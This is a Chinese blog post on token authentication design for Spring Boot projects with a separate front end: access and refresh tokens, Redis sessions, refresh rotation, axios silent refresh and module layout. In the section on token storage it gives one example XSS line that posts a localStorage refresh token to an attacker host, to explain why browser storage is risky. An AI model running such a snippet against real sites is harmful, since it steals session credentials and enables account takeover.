EatFan头像
关注
前后端分离项目中 Token 到底应该怎么设计?Access Token + Refresh Token 实战封面图

前后端分离项目中 Token 到底应该怎么设计?Access Token + Refresh Token 实战

前言

做前后端分离项目时,登录认证几乎是所有项目绕不开的一部分。

刚开始学习 Spring Boot 的时候,我们可能会觉得 Token 认证非常简单:

用户登录
    ↓
验证用户名密码
    ↓
生成 JWT
    ↓
返回给前端
    ↓
前端保存 JWT
    ↓
请求接口携带 JWT

于是很容易写出这样的代码:

String token = JwtUtils.createToken(userId);
return Result.success(token);

前端:

localStorage.setItem("token", token);

请求接口:

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...

看起来没有任何问题。

对于 Demo、课程设计、小型后台管理系统,这套方案甚至可以一直正常运行。

但当项目真正进入实际开发之后,问题很快就出现了:

  1. Token 有效期应该设置多久?
  2. 30 分钟是不是太短?
  3. 7 天是不是又太长?
  4. Token 过期之后是不是必须重新登录?
  5. 用户正在填写表单,突然 Token 过期怎么办?
  6. Token 被别人拿走之后怎么办?
  7. 用户主动退出登录之后,旧 Token 为什么还能访问接口?
  8. 用户修改密码之后,其他设备是不是应该掉线?
  9. 一个账号同时登录多个设备应该怎么管理?
  10. 前端应该把 Token 存在哪里?
  11. JWT 到底应该完全无状态,还是应该配合 Redis?
  12. Refresh Token 到底有没有必要?
  13. Access Token 和 Refresh Token 有什么本质区别?

这些问题实际上已经不是“怎么生成 JWT”的问题了。

它们属于:

认证系统的生命周期设计问题。

我自己的 Spring Boot 项目在逐渐从简单后台系统发展成实际业务系统之后,也开始重新设计认证体系。

最终我采用的是:

Access Token + Refresh Token + Redis

并且认证能力不会散落在每一个业务模块里面,而是作为整个项目的基础能力放进 framework 层。

本文就结合一个真实 Spring Boot 模块化项目,从工程架构、JWT、Redis、Access Token、Refresh Token、前端无感刷新、安全策略等方面,完整讲一下:

前后端分离项目中的 Token 到底应该怎么设计。


一、先从我的 Spring Boot 项目结构说起

在讨论 Token 之前,需要先解释一下我的项目结构。

因为 Token 认证并不是孤立存在的,它最终一定会和 Spring Security、权限认证、Web Filter、Redis、异常处理等基础设施发生关系。

我的 Spring Boot 项目没有把所有代码全部放在一个 src/main/java 下面,而是采用 Maven 多模块结构。

整体可以简化成:

project
│
├── framework
│   ├── framework-core
│   ├── framework-web
│   ├── framework-security
│   ├── framework-redis
│   ├── framework-permission
│   └── framework-api-doc
│
├── module
│   ├── module-system
│   ├── module-project
│   ├── module-task
│   ├── module-oauth
│   └── module-xxx
│
└── server
    └── Application.java

从职责上来说,我把它理解成三个大的区域:

┌────────────────────────────────────────────┐
│                  server                    │
│                                            │
│          应用启动 / 模块装配 / 配置         │
└──────────────────────┬─────────────────────┘
                       │
                       ↓
┌────────────────────────────────────────────┐
│                  module                    │
│                                            │
│     system / project / task / oauth ...    │
│                                            │
│                业务能力                     │
└──────────────────────┬─────────────────────┘
                       │
                       ↓
┌────────────────────────────────────────────┐
│                 framework                  │
│                                            │
│ security / web / redis / core / permission │
│                                            │
│              基础技术能力                   │
└────────────────────────────────────────────┘

这个结构有一个非常重要的原则:

framework 不应该知道具体业务是什么,但是业务模块可以使用 framework 提供的能力。

例如:

framework-security

应该知道:

JWT 怎么解析
Token 怎么校验
Authentication 怎么构建
登录上下文怎么保存
权限怎么判断
Security Filter 怎么运行

但是它不应该知道:

患者是什么
项目是什么
任务是什么
订单是什么
支付是什么

这些属于:

module

这实际上就是模块边界。


二、为什么我要拆成 framework、module、server?

有人可能会问:

一个 Spring Boot 项目而已,为什么搞这么多 Maven Module?

如果只是几千行代码,确实没有必要。

例如:

controller
service
mapper
entity
config
utils

这种结构完全够用。

但问题是,当系统越来越大之后,很容易变成:

src/main/java
├── controller
│   ├── UserController
│   ├── ProjectController
│   ├── TaskController
│   ├── OrderController
│   ├── PaymentController
│   └── ...
│
├── service
│   ├── UserService
│   ├── ProjectService
│   ├── TaskService
│   └── ...
│
├── config
├── security
├── utils
├── mapper
├── entity
└── ...

表面上进行了分层。

实际上随着项目扩大,业务之间的边界越来越模糊。

最后非常容易出现:

AService 调 BService
BService 调 CService
CService 又调 AService

然后出现经典问题:

BeanCurrentlyInCreationException

甚至形成循环依赖。

所以 Maven 模块化真正解决的不是:

“文件太多不好找。”

而是:

通过构建系统强制建立架构边界。

例如:

module-project
        ↓
framework-security
        ↓
framework-core

是允许的。

但是:

framework-core
        ↓
module-project

原则上就不应该出现。

因此我认为 Maven Module 最大的价值并不是目录更漂亮,而是:

把原本依赖开发人员自觉遵守的架构规则,变成构建工具可以检查的依赖关系。


三、这种结构是不是我自己“发明”的?

当然不是。

实际上大量成熟 Java 项目都会进行类似的模块拆分,只不过每个项目的命名方式不同。

例如 RuoYi-Vue 的 Maven 聚合工程中就包含:

ruoyi-admin
ruoyi-framework
ruoyi-system
ruoyi-quartz
ruoyi-generator
ruoyi-common

其中 ruoyi-framework 被定义为框架核心模块,而 ruoyi-system 负责系统业务能力。

RuoYi-Vue-Plus 也长期采用类似的 Maven 多模块组织方式。

所以:

framework
module
server

并不是某种特殊写法。

它本质上是在表达:

技术基础设施
      +
业务领域能力
      +
最终应用装配

我的项目只是在这个思想上继续细化。

例如:

framework
├── core
├── web
├── security
├── redis
├── permission
└── api-doc

而不是把所有框架能力全部塞进:

framework

一个模块。

这样做的好处是未来某个业务模块如果只需要:

framework-core

就没有必要把:

Security
Redis
Swagger
Web

全部间接引进来。

这实际上是在控制:

依赖传播。


四、Token 认证为什么应该属于 framework?

现在回到本文核心。

Token 应该放在哪里?

假设我们有:

module-system
module-project
module-task
module-payment

难道每一个模块自己写:

JwtUtils.parseToken(token);

显然不合理。

因为:

JWT
Spring Security
Authentication
SecurityContext
Token Filter
权限判断
Redis Session

都属于技术基础设施。

所以我把它放到:

framework-security

例如:

framework-security
└── src/main/java
    └── security
        ├── config
        │   └── SecurityConfig.java
        │
        ├── filter
        │   └── JwtAuthenticationFilter.java
        │
        ├── token
        │   ├── TokenService.java
        │   ├── JwtTokenProvider.java
        │   └── TokenProperties.java
        │
        ├── context
        │   └── LoginUserContext.java
        │
        ├── handler
        │   ├── AuthenticationEntryPointImpl.java
        │   └── AccessDeniedHandlerImpl.java
        │
        └── model
            └── LoginUser.java

于是业务模块只需要关心:

Long userId = LoginUserContext.getUserId();

而不用关心:

JWT 怎么解析?
Redis Key 是什么?
Token 有没有过期?
Authentication 怎么创建?
SecurityContextHolder 怎么设置?

这就是基础设施抽象的意义。


五、为什么单 Access Token 方案不够?

最简单的 Token 方案是:

登录成功
   ↓
生成 JWT
   ↓
JWT 有效期 7 天
   ↓
前端一直使用

假设:

expiration = 7 * 24 * 60 * 60;

那么 Token 七天内都有效。

用户体验很好。

但是安全问题也非常明显。

如果攻击者在第一天拿到了 Token:

攻击者
   ↓
获得 Access Token
   ↓
未来七天持续访问接口

只要服务器没有额外状态控制,就很难主动让这个 JWT 失效。

所以我们可能想到:

那我把 Token 设置成 30 分钟。

例如:

Access Token = 30 分钟

安全性确实提高了。

但是新的问题出现了:

用户 14:00 登录
        ↓
14:29 正在填写表单
        ↓
14:30 Token 过期
        ↓
请求返回 401
        ↓
重新登录

用户体验非常差。

于是我们遇到了一个经典矛盾:

Token 时间长
    ↓
用户体验好
    ↓
安全风险增加

Token 时间短
    ↓
安全性提高
    ↓
用户体验下降

怎么办?

答案就是:

Access Token
+
Refresh Token

六、Access Token + Refresh Token 到底是什么?

整个认证体系可以理解成:

Access Token
=
短期访问凭证

Refresh Token
=
长期续期凭证

例如我可以设计:

Access Token
有效期:30 分钟

Refresh Token
有效期:7 天

用户登录:

POST /auth/login

返回:

{
  "code": 200,
  "data": {
    "accessToken": "eyJhbGciOiJIUzUxMiJ9...",
    "refreshToken": "eyJhbGciOiJIUzUxMiJ9...",
    "expiresIn": 1800
  }
}

正常业务请求只使用:

Access Token

例如:

GET /api/project/list

Authorization: Bearer ACCESS_TOKEN

Refresh Token 不应该参与普通业务 API 请求。

它只负责:

换取新的 Access Token

于是整个生命周期变成:

                    用户登录
                       │
                       ↓
          ┌────────────────────────┐
          │      Auth Server       │
          └───────────┬────────────┘
                      │
             ┌────────┴────────┐
             ↓                 ↓
      Access Token       Refresh Token
        30分钟               7天
             │                 │
             ↓                 │
         调用业务API            │
             │                 │
             ↓                 │
       Access Token过期         │
             │                 │
             └────────┬────────┘
                      ↓
               /auth/refresh
                      │
                      ↓
              新 Access Token
                      │
                      ↓
                 继续访问

这样就解决了刚才的矛盾。


七、这种设计有没有权威依据?

有。

这不是某个 Java 博主自己创造的 Token 玩法。

OAuth 2.0 本身就定义了 Access Token 和 Refresh Token。

更重要的是,IETF 在 2025 年发布了:

RFC 9700
Best Current Practice for OAuth 2.0 Security

也就是:

OAuth 2.0 Security Best Current Practice

RFC 9700 对 Refresh Token 的价值有一个非常重要的说明。

核心思想可以概括为:

Refresh Token 允许授权服务器签发生命周期较短、权限范围受限的 Access Token,从而降低 Access Token 泄露之后可能造成的影响。

这正是本文设计 Access Token + Refresh Token 的核心理论依据。

所以:

短 Access Token
+
长 Refresh Token

不是为了“看起来高级”。

而是为了实现:

降低 Access Token 泄露窗口
+
保持长期登录体验

两者之间的平衡。


八、Access Token 应该包含什么?

一个 JWT Access Token 通常可以包含:

{
  "sub": "10001",
  "iss": "auth.example.com",
  "aud": "api.example.com",
  "iat": 1789300000,
  "exp": 1789301800,
  "jti": "550e8400-e29b-41d4-a716-446655440000"
}

这些字段分别表示:

Claim含义
subSubject,用户主体
issIssuer,Token 签发者
audAudience,Token 使用对象
iatIssued At,签发时间
expExpiration Time,过期时间
jtiJWT ID,Token 唯一编号

Spring Security 官方 Resource Server 文档中,也会对 JWT 的:

exp
nbf
iss

等声明进行验证。

并且 Spring Security 支持通过:

spring:
  security:
    oauth2:
      resourceserver:
        jwt:
          issuer-uri: https://auth.example.com
          audiences: https://api.example.com

验证:

iss
aud

这意味着一个比较规范的 JWT 不应该只是:

{
  "userId": 1
}

而应该逐渐向标准 JWT Claim 靠拢。


九、为什么 aud 非常重要?

假设以后我的系统越来越大:

auth.example.com

project-api.example.com

payment-api.example.com

admin-api.example.com

如果所有服务拿到 JWT 之后只验证:

签名正确
+
没有过期

那么理论上:

原本签发给 project-api 的 Token

可能被错误用于:

payment-api

所以应该使用:

aud

限制 Token 的目标资源。

例如:

{
  "aud": "project-api"
}

支付服务则要求:

{
  "aud": "payment-api"
}

RFC 9700 也明确建议 Access Token 应该尽可能进行 Audience Restriction。

简单理解就是:

一张门禁卡不仅应该知道“这个人是谁”,还应该知道“这张卡允许进入哪栋楼”。


十、Access Token 为什么一定要短?

假设:

Access Token = 7天

Token 泄露:

攻击者
   ↓
获取 Token
   ↓
理论攻击窗口最长 7 天

如果:

Access Token = 30分钟

那么理论攻击窗口显著缩短。

因此我更倾向:

security:
  token:
    access-token-expire: 30m
    refresh-token-expire: 7d

当然:

30分钟
7天

不是行业强制标准。

不同系统应该根据风险等级设置。

例如:

普通后台系统

Access Token:30~120分钟
Refresh Token:7~30天

而:

支付
金融
医疗
高权限后台

可能需要更加严格。

核心不是记住一个数字,而是理解:

Access Token 应该尽量缩短暴露窗口,Refresh Token 用来维持登录会话。


十一、Refresh Token 为什么不能直接当 Access Token 用?

这是非常重要的一点。

Refresh Token 的权限应该非常单一:

只能刷新 Token

而不能:

GET /user/list
Authorization: Bearer REFRESH_TOKEN

否则 Access Token 和 Refresh Token 就失去了区分意义。

所以生成 Token 时,我会明确加入:

{
  "token_type": "access"
}

Refresh Token:

{
  "token_type": "refresh"
}

例如:

public enum TokenType {

    ACCESS,

    REFRESH

}

创建:

public String createAccessToken(LoginUser user) {
    return createToken(user, TokenType.ACCESS, accessTokenExpire);
}

public String createRefreshToken(LoginUser user) {
    return createToken(user, TokenType.REFRESH, refreshTokenExpire);
}

校验:

public void validateAccessToken(String token) {

    Claims claims = parseToken(token);

    String type = claims.get("token_type", String.class);

    if (!"access".equals(type)) {
        throw new InvalidTokenException("Invalid access token");
    }
}

Refresh:

public void validateRefreshToken(String token) {

    Claims claims = parseToken(token);

    String type = claims.get("token_type", String.class);

    if (!"refresh".equals(type)) {
        throw new InvalidTokenException("Invalid refresh token");
    }
}

这样才能真正形成:

Access Token → 访问资源

Refresh Token → 获取新 Token

十二、JWT 到底要不要配 Redis?

这是一个非常经典的问题。

很多人认为:

JWT 就是为了无状态,为什么还要 Redis?

这个说法只说对了一半。

JWT 确实可以做到:

完全 Stateless

例如:

客户端
   ↓
JWT
   ↓
服务器验证签名
   ↓
直接获取 userId

服务器完全不保存 Session。

优势非常明显:

不用查 Redis
不用查数据库
天然适合分布式

但是问题也很明显:

服务端很难主动撤销已经签发出去的 JWT。

例如用户点击:

退出登录

前端删除 Token。

但是攻击者如果之前复制了 Token:

JWT 仍然没有过期

服务器如果只验证 JWT:

签名正确
exp 未过期

那么这个 Token 依然合法。

所以真实业务系统里,我更倾向于:

JWT
+
Redis Session

也就是:

JWT 负责身份凭证,Redis 负责会话生命周期。


十三、我的 Redis Token 结构怎么设计?

可以使用:

auth:session:{sessionId}

例如:

auth:session:
550e8400-e29b-41d4-a716-446655440000

Redis:

{
  "userId": 10001,
  "username": "admin",
  "tenantId": "10000001",
  "device": "Chrome / macOS",
  "loginIp": "127.0.0.1",
  "loginTime": 1789300000
}

JWT:

{
  "sub": "10001",
  "sid": "550e8400-e29b-41d4-a716-446655440000",
  "token_type": "access",
  "exp": 1789301800
}

于是请求流程变成:

Request
   │
   ↓
Authorization: Bearer xxx
   │
   ↓
JWT 验签
   │
   ↓
检查 exp
   │
   ↓
获取 sid
   │
   ↓
Redis 查询 Session
   │
   ├── 不存在 → 401
   │
   └── 存在
        │
        ↓
   构造 Authentication
        │
        ↓
 SecurityContext
        │
        ↓
 Controller

这时候:

退出登录

就非常简单:

redisTemplate.delete("auth:session:" + sessionId);

即使 JWT 还剩:

20分钟

由于 Session 已经不存在:

JWT
  ↓
Redis
  ↓
Session不存在
  ↓
401 Unauthorized

立即失效。


十四、JWT + Redis 是不是违背了 JWT 的设计?

并没有。

这里需要区分:

JWT 能不能无状态

和:

业务系统是否必须完全无状态

是两个问题。

JWT:

可以 Stateless

不等于:

所有使用 JWT 的系统都必须 Stateless

工程设计永远应该围绕业务需求。

如果你的系统:

不需要主动踢人
不需要设备管理
不需要强制退出
不需要修改密码后失效
不需要后台封禁即时生效

完全无状态 JWT 很合适。

但是如果系统需要:

在线用户
设备管理
单点登录
踢出登录
强制下线
密码修改失效
账号封禁
Refresh Token Rotation

服务器端保存一定 Session 状态往往更加容易控制。

所以我的设计目标不是:

追求理论上最纯粹的 JWT。

而是:

让认证系统可控。


十五、完整登录流程怎么设计?

登录接口:

POST /auth/login

参数:

{
  "username": "admin",
  "password": "123456"
}

服务端:

public TokenResponse login(LoginRequest request) {

    // 1. 验证用户名密码
    LoginUser loginUser = authenticationService.authenticate(
            request.getUsername(),
            request.getPassword()
    );

    // 2. 创建 Session
    String sessionId = UUID.randomUUID().toString();

    LoginSession session = new LoginSession();

    session.setSessionId(sessionId);
    session.setUserId(loginUser.getUserId());
    session.setUsername(loginUser.getUsername());

    // 3. 保存 Redis
    sessionService.save(session);

    // 4. 创建 Access Token
    String accessToken =
            tokenService.createAccessToken(loginUser, sessionId);

    // 5. 创建 Refresh Token
    String refreshToken =
            tokenService.createRefreshToken(loginUser, sessionId);

    return TokenResponse.builder()
            .accessToken(accessToken)
            .refreshToken(refreshToken)
            .expiresIn(1800L)
            .build();
}

整个过程:

用户名 + 密码
      │
      ↓
AuthenticationService
      │
      ↓
验证账号
      │
      ↓
创建 Session
      │
      ↓
写 Redis
      │
      ↓
┌───────────────┬────────────────┐
↓               ↓
Access Token    Refresh Token
↓               ↓
30分钟           7天

十六、Access Token 过期后怎么刷新?

前端发现:

401

不要立即跳登录页。

首先尝试:

POST /auth/refresh

携带:

Refresh Token

服务端:

public TokenResponse refresh(String refreshToken) {

    // 1. 验证 Refresh Token
    TokenClaims claims =
            tokenService.parseRefreshToken(refreshToken);

    // 2. 获取 Session
    LoginSession session =
            sessionService.get(claims.getSessionId());

    if (session == null) {
        throw new UnauthorizedException();
    }

    // 3. 创建新的 Access Token
    String accessToken =
            tokenService.createAccessToken(
                    session.getUserId(),
                    session.getSessionId()
            );

    return TokenResponse.builder()
            .accessToken(accessToken)
            .expiresIn(1800L)
            .build();
}

然后前端重新执行原来的请求。


十七、前端怎么实现无感刷新?

Axios 可以统一处理。

例如:

import axios from "axios"

const service = axios.create({
    baseURL: "/api",
    timeout: 10000
})

请求:

service.interceptors.request.use(config => {

    const token = getAccessToken()

    if (token) {
        config.headers.Authorization = `Bearer ${token}`
    }

    return config
})

响应:

service.interceptors.response.use(
    response => response,
    async error => {

        const originalRequest = error.config

        if (
            error.response?.status === 401 &&
            !originalRequest._retry
        ) {

            originalRequest._retry = true

            const refreshToken = getRefreshToken()

            const response = await axios.post(
                "/auth/refresh",
                {
                    refreshToken
                }
            )

            const newAccessToken =
                response.data.data.accessToken

            saveAccessToken(newAccessToken)

            originalRequest.headers.Authorization =
                `Bearer ${newAccessToken}`

            return service(originalRequest)
        }

        return Promise.reject(error)
    }
)

用户看到的是:

正常请求
   ↓
Token 过期
   ↓
自动刷新
   ↓
重新请求
   ↓
正常返回

整个过程用户完全不需要操作。


十八、这里还有一个并发刷新陷阱

假设页面同时发送:

GET /user/info
GET /menu/list
GET /notice/list
GET /project/list

此时 Access Token 刚好过期。

那么四个请求全部返回:

401

如果按照刚才最简单的实现:

四个请求
   ↓
四次 /auth/refresh

这是有问题的。

尤其后面实现:

Refresh Token Rotation

以后问题更加严重。

所以前端应该建立:

refresh lock

例如:

let isRefreshing = false

let requests: Array<(token: string) => void> = []

如果已经有人刷新:

if (isRefreshing) {

    return new Promise(resolve => {

        requests.push(token => {

            originalRequest.headers.Authorization =
                `Bearer ${token}`

            resolve(service(originalRequest))
        })

    })

}

第一个请求:

isRefreshing = true

刷新成功:

const newToken = response.data.data.accessToken

requests.forEach(callback => callback(newToken))

requests = []

isRefreshing = false

最终:

Request A ───────┐
Request B ───────┤
Request C ───────┤──→ 只有一个 Refresh Request
Request D ───────┘
                         │
                         ↓
                   New Access Token
                         │
             ┌───────────┼───────────┐
             ↓           ↓           ↓
             A           B           C ...

这是前端实现 Refresh Token 时非常容易忽略的细节。


十九、Refresh Token Rotation 是什么?

如果我们进一步提高安全性,就会涉及:

Refresh Token Rotation

传统方案:

Refresh Token A
     ↓
刷新
     ↓
Access Token B

Refresh Token A 继续使用

Rotation:

Refresh Token A
     ↓
刷新
     ↓
Access Token B
+
Refresh Token B

Refresh Token A
立即失效

下一次:

Refresh Token B
     ↓
Access Token C
+
Refresh Token C

形成:

RT1
 ↓
RT2
 ↓
RT3
 ↓
RT4

旧 Token:

立即失效

二十、为什么 Refresh Token Rotation 很重要?

假设攻击者偷到了:

Refresh Token A

普通方案:

用户持有 A
攻击者也持有 A

两个人都可以持续刷新

服务器很难发现。

Rotation 以后:

用户使用 A
      ↓
获得 B
      ↓
A 作废

攻击者再使用:

A

服务器发现:

这个 Refresh Token 已经使用过

这意味着:

可能发生 Token Replay

此时可以:

撤销整个 Session

强制重新登录。


二十一、RFC 9700 对 Refresh Token Rotation 怎么说?

这一点有非常强的标准依据。

IETF RFC 9700 明确要求,对于 Public Client,如果签发 Refresh Token,需要使用以下机制之一检测 Refresh Token Replay:

Sender-Constrained Refresh Token

或者

Refresh Token Rotation

其中 Rotation 的基本思想就是:

每次刷新
    ↓
签发新的 Refresh Token
    ↓
旧 Refresh Token 失效
    ↓
保留 Token 之间的关联关系

如果旧 Refresh Token 再次出现,就说明:

Token 可能已经泄露

所以如果我要继续增强当前项目的认证安全性,我会优先考虑:

Access Token
+
Refresh Token
+
Redis Session
+
Refresh Token Rotation

二十二、Redis 怎么支持 Refresh Token Rotation?

可以保存:

auth:refresh:{jti}

例如:

auth:refresh:
9d20e20a-xxxx-xxxx

内容:

{
  "sessionId": "xxx",
  "userId": 10001,
  "status": "ACTIVE"
}

刷新:

@Transactional
public TokenResponse refresh(String refreshToken) {

    TokenClaims claims =
            tokenService.parseRefreshToken(refreshToken);

    String jti = claims.getJti();

    RefreshTokenInfo oldToken =
            refreshTokenRepository.get(jti);

    if (oldToken == null) {
        throw new InvalidTokenException();
    }

    if (oldToken.isUsed()) {

        // 可能出现 Refresh Token Replay
        sessionService.revoke(oldToken.getSessionId());

        throw new TokenReplayException();
    }

    // 标记旧 Token 已使用
    refreshTokenRepository.markUsed(jti);

    // 创建新的 Token
    String newAccessToken =
            tokenService.createAccessToken(...);

    String newRefreshToken =
            tokenService.createRefreshToken(...);

    return new TokenResponse(
            newAccessToken,
            newRefreshToken
    );
}

这时候:

Refresh Token

实际上变成了:

一次性续期凭证。


二十三、前端到底应该把 Token 放在哪里?

很多 Vue 项目会直接:

localStorage.setItem(
    "access_token",
    accessToken
)

实现确实简单。

但是安全上必须知道一个问题:

localStorage

可以被当前 Origin 下执行的 JavaScript 读取。

如果发生 XSS:

fetch("https://attacker.example", {
    method: "POST",
    body: localStorage.getItem("refresh_token")
})

Refresh Token 就可能被窃取。

OWASP 的 HTML5 Security / Session Management Cheat Sheet 对这一点给出了非常明确的安全建议:

不要把认证 Token、Session ID、JWT、Refresh Token 等凭证直接作为长期敏感信息存储在 localStorage 或 sessionStorage 中。

原因就是:

XSS
 ↓
执行 JavaScript
 ↓
读取 localStorage
 ↓
Token 泄露

所以对于 Web 项目,更严格的设计可以采用:

Access Token
    ↓
内存

Refresh Token
    ↓
HttpOnly Cookie

例如:

Set-Cookie:
refresh_token=xxx;
HttpOnly;
Secure;
SameSite=Strict;
Path=/auth/refresh

这样 JavaScript:

document.cookie

无法直接读取:

HttpOnly Refresh Token

安全性会更好。


二十四、HttpOnly Cookie 就绝对安全吗?

当然不是。

安全设计永远不是:

用了某个技术 = 绝对安全

Cookie 需要继续考虑:

CSRF
SameSite
Secure
Domain
Path
HTTPS
CORS

例如:

HttpOnly

解决的是:

JavaScript 直接读取 Cookie

不是解决所有 Web 安全问题。

所以比较完整的 Cookie 应该类似:

Set-Cookie: refresh_token=xxx;
HttpOnly;
Secure;
SameSite=Strict;
Path=/auth/refresh;
Max-Age=604800

这也是为什么:

Token 存储问题本质上是 Web 安全问题,而不是简单的前端 API 使用问题。


二十五、退出登录应该怎么设计?

如果只是:

localStorage.removeItem("token")

这不叫真正的退出登录。

这只是:

客户端忘记 Token

真正退出应该:

POST /auth/logout

服务端:

public void logout(String sessionId) {

    sessionService.delete(sessionId);

    refreshTokenService.revokeBySessionId(sessionId);

}

然后:

Redis Session
Refresh Token

全部撤销。

完整过程:

Logout
  │
  ↓
解析当前 SessionId
  │
  ↓
删除 Redis Session
  │
  ↓
撤销 Refresh Token
  │
  ↓
客户端清除 Access Token
  │
  ↓
登录状态彻底失效

二十六、修改密码之后怎么办?

真实项目还有一个非常重要的安全策略:

修改密码

之后是否让其他设备掉线?

我倾向:

修改密码
    ↓
撤销该用户所有 Session
    ↓
所有设备重新登录

例如 Redis:

auth:user:sessions:{userId}

维护:

userId
  ↓
session1
session2
session3

修改密码:

public void changePassword(
        Long userId,
        String newPassword
) {

    userService.updatePassword(
            userId,
            passwordEncoder.encode(newPassword)
    );

    sessionService.revokeAllByUserId(userId);
}

RFC 9700 也提到授权服务器可以在安全事件发生时自动撤销 Refresh Token,例如:

password change
logout

这说明这种设计不是凭感觉决定的,而是符合现代 OAuth 安全实践的。


二十七、为什么不要把密码、角色等大量数据塞进 JWT?

有些项目 JWT 会放:

{
  "userId": 1,
  "username": "admin",
  "nickname": "管理员",
  "email": "...",
  "phone": "...",
  "roles": [...],
  "permissions": [...],
  "tenant": {...}
}

最后 JWT 两三 KB。

我个人不建议。

第一:

JWT Payload 默认不是加密

只是:

Base64URL

所以不要放:

password
身份证
手机号
隐私信息
敏感业务数据

第二:

Token 越大:

每一个 HTTP Request

都需要携带。

例如:

3KB Token
×
1000万请求

会产生大量额外网络流量。

所以我的 Access Token 更倾向于只保存:

{
  "sub": "10001",
  "sid": "xxx",
  "iss": "auth.example.com",
  "aud": "api.example.com",
  "jti": "xxx",
  "token_type": "access",
  "iat": 1789300000,
  "exp": 1789301800
}

需要用户详细信息:

sid
 ↓
Redis Session

或者:

userId
 ↓
业务查询

这样职责更加清晰。


二十八、为什么我的 Token 设计和 Maven 模块设计其实是同一种思想?

看到这里可能会发现一个很有意思的事情。

我的 Maven 项目设计:

framework
module
server

和 Token 设计:

Access Token
Refresh Token
Session

背后其实都是同一个思想:

职责分离。

项目结构:

framework
    ↓
技术能力

module
    ↓
业务能力

server
    ↓
应用装配

认证:

Access Token
    ↓
访问资源

Refresh Token
    ↓
刷新凭证

Redis Session
    ↓
管理会话生命周期

不要让一个东西承担所有职责。

这也是我现在越来越重视的一种工程思想:

一个组件越容易解释清楚“它只负责什么”,系统长期维护起来通常就越简单。


二十九、和 RuoYi 这类开源框架相比,我为什么还要自己设计?

RuoYi、RuoYi-Vue-Plus 等成熟项目非常值得参考。

例如它们已经验证了:

Maven 聚合工程
+
Framework
+
System
+
Admin

这种模块化结构在实际后台系统中的可行性。

但是:

参考开源框架,不代表必须复制开源框架。

我的项目希望进一步明确:

framework
=
基础技术能力

module
=
业务领域能力

server
=
最终启动与装配

于是未来项目即使增加:

module-ai
module-payment
module-hospital
module-project
module-task

基础结构仍然不会变化。

认证能力:

framework-security

Redis:

framework-redis

Web:

framework-web

API 文档:

framework-api-doc

业务:

module-xxx

最终:

server

只负责:

@SpringBootApplication
public class Application {

    public static void main(String[] args) {

        SpringApplication.run(
                Application.class,
                args
        );

    }

}

这就是我希望达到的状态:

业务不断增加,但是底层架构不需要不断推倒重来。


三十、如果以后改成微服务,这个结构还有意义吗?

有。

实际上这种模块化单体结构还有一个隐藏价值:

为未来服务拆分提前建立边界

例如现在:

module-system
module-project
module-task
module-payment

全部运行在:

server

里面。

这是:

Modular Monolith

以后如果业务真的增长到需要微服务:

module-payment

理论上可以逐渐拆成:

payment-service

而:

module-system

可以变成:

system-service

认证:

framework-security

逐渐演变成:

Authorization Server
+
Resource Server

所以:

模块化单体

并不是:

微服务的反面

反而可能是:

在真正需要微服务之前,更理性的中间状态。


三十一、最终我采用的 Token 架构

综合安全性、开发复杂度、用户体验和后期扩展,我现在更倾向下面这套设计:

                     Client
                       │
                       │ Login
                       ↓
               ┌───────────────┐
               │ Authentication│
               └───────┬───────┘
                       │
              ┌────────┴────────┐
              ↓                 ↓
        Access Token      Refresh Token
          30 min              7 days
              │                 │
              │                 ↓
              │          Refresh Endpoint
              │                 │
              │          Token Rotation
              │                 │
              └────────┬────────┘
                       │
                       ↓
                 Redis Session
                       │
                       ↓
                Login Lifecycle

后端模块:

framework-security
├── SecurityConfig
├── JwtAuthenticationFilter
├── TokenService
├── JwtTokenProvider
├── LoginUserContext
├── AuthenticationEntryPoint
└── AccessDeniedHandler

业务模块:

module-system
module-project
module-task
module-payment
...

启动:

server

最终形成:

客户端
 ↓
Access Token
 ↓
Security Filter
 ↓
JWT 验证
 ↓
Redis Session
 ↓
Authentication
 ↓
业务 Module

三十二、最后总结

如果只是写一个 Demo:

JWT
+
localStorage

完全可以。

但如果是准备长期维护的真实前后端分离项目,我认为至少应该认真考虑:

Access Token
+
Refresh Token
+
Session 生命周期

而不是:

登录生成一个 JWT
然后七天不管

Access Token 解决的是:

我现在有没有权限访问资源?

Refresh Token 解决的是:

Access Token 过期之后,能不能安全地继续登录状态?

Redis Session 解决的是:

服务器能不能主动控制这次登录?

Refresh Token Rotation 进一步解决:

Refresh Token 被复制以后,服务器能不能发现重放行为?

所以最终:

Access Token
≠
Refresh Token
≠
Session

三者虽然都和“登录状态”有关,但职责完全不同。

同样的思想也体现在我的 Spring Boot Maven 模块设计中:

framework
≠
module
≠
server

其中:

framework

负责:

Security
Redis
Web
Core
Permission
API Doc

也就是通用基础设施。

module

负责:

System
Project
Task
Payment
AI
以及其他具体业务

而:

server

只负责:

启动
配置
装配

我越来越认为,一个项目是否真正具有可维护性,并不取决于:

用了多少中间件
用了多少设计模式
用了多少微服务

而取决于:

每一个模块、每一个组件、每一个 Token,能不能明确说清楚自己的职责和边界。

当一个 Spring Boot 项目开始从:

Controller
Service
Mapper
Utils

逐渐发展到:

framework
module
server

真正发生变化的并不只是目录结构。

而是我们开始从:

“把功能写出来”

逐渐转向:

“考虑这个系统未来应该怎么继续长大。”

同样,当认证系统从:

一个 JWT 用到底

变成:

短生命周期 Access Token
+
长期 Refresh Token
+
Refresh Token Rotation
+
可撤销 Redis Session

变化的也不仅仅是多生成了一个 Token。

而是认证系统开始真正拥有:

生命周期
撤销能力
设备管理能力
风险控制能力
扩展能力

这才是我认为 Access Token + Refresh Token 真正值得设计的原因。


参考资料

本文设计与分析主要参考以下规范、官方文档及开源项目:

  1. IETF RFC 6749 — The OAuth 2.0 Authorization Framework

    • OAuth 2.0 核心标准
    • 定义 Access Token、Refresh Token、Authorization Server、Resource Server 等核心概念
  2. IETF RFC 6750 — The OAuth 2.0 Authorization Framework: Bearer Token Usage

    • 定义 Bearer Token 的标准使用方式
    • Authorization: Bearer <token> 即来源于这一规范体系
  3. IETF RFC 9700 — Best Current Practice for OAuth 2.0 Security

    • OAuth 2.0 当前安全最佳实践
    • 讨论 Access Token 权限限制、Refresh Token 保护、Refresh Token Rotation、Token Replay 等问题
    • RFC 9700 于 2025 年正式发布,并作为 OAuth 2.0 Security Best Current Practice
  4. Spring Security Reference — OAuth 2.0 Resource Server JWT

    • Spring Security 官方 JWT Resource Server 文档
    • 官方支持 Bearer Token、JWT Signature、expnbfissaud 等验证机制
  5. OWASP Cheat Sheet Series — HTML5 Security Cheat Sheet

    • 对 localStorage、sessionStorage 等浏览器存储机制进行安全分析
